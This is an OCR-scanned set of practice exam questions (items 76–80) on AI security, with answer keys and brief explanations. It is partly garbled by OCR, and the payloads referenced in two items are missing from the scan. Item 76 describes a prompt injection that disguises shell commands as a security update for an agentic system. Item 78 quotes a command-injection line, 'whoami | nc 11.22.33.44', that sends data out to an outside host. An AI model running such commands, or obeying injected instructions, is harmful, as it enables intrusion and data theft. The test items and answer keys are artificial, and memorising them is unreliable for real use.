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HM #76

A security alert triggers an agentic system. An analyst notices the following payload in the logs"
The alert includes multiple shell commands that are not typically run as part of any hardening,
Which of'the following is the most effective control to implement?

A. Modifying the application to ignore the SECURITY UPDATE tag

B. Adding logic that includes approved strings before running the shell commands
C. Deprecating model usage and retaining the model with safer parameters

D. Using only approved libraries when interacting with agentic systems

Ef#: B

R«

The payload in the alert attempts to trick the system into executing unauthorized shell commands.

The most effective control is to implement allow-list validation (approved strings) before execution. This ensures that only
predefined, safe commands are executed, blocking prompt injection attempts that introduce malicious code such as the fake patch

script.
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HE#77
‘Which methods identify vulnerabilities BEFORE deployment? (Choose two.)

A. Patch management
B. Design reviews

C. Static code analysis
D. Penetration testing
E. Behavior analytics

IE%: B\ C

TR
Pre-deployment assessments rely on design evaluation and code inspection.

HM#78
A security analyst receives an alert about an Al systemand is investigating the following output:

Which of'the following is the most appropriate control the analyst should recommend?

A. Monitoring logs for attack words from the system
B. Implementing user input validation

C. Hardening the Model Context Protocol server

D. Integrating data sanitization

Ef#: B

fEEL:

The output shows a command injection attempt (sub.popen(‘'whoami | nc 11.22.33.44'...)) embedded in user input. The most
effective control is user input validation, which prevents untrusted or malicious inputs from being executed as system commands,
thereby securing the Al system against injection attacks.

B #79
During the selection of a machine learning (ML)-based threat classification model, a cybersecurity administrator verifies that label
distribution is highly unbalanced. Which of the following processing techniques should the engineer use to balance the model?

¢ A Data verification

¢ B. Data lincage

e (. Data provenance
e D. Data augmentation

IEfE: D

R 2
When label distribution is highly unbalanced, data augmentation generates additional synthetic samples for the underrepresented
classes. This balances the dataset, improving the ML model's ability to classify threats accurately across all categories.

HR #80

A conpany uses human review for software development validation and wants to add another validation layer. Which of the
following should a security administrator use to accomplish task?

A. Low-code plug-in
B. Regression testing

C. Automated rollback
D. Al-assisted approval

IEf#: D

A -
Al-assisted approval adds an automated validation layer alongside human review, helping detect potential security or quality issues in



software development before deployment. This strengthens the overall validation process.
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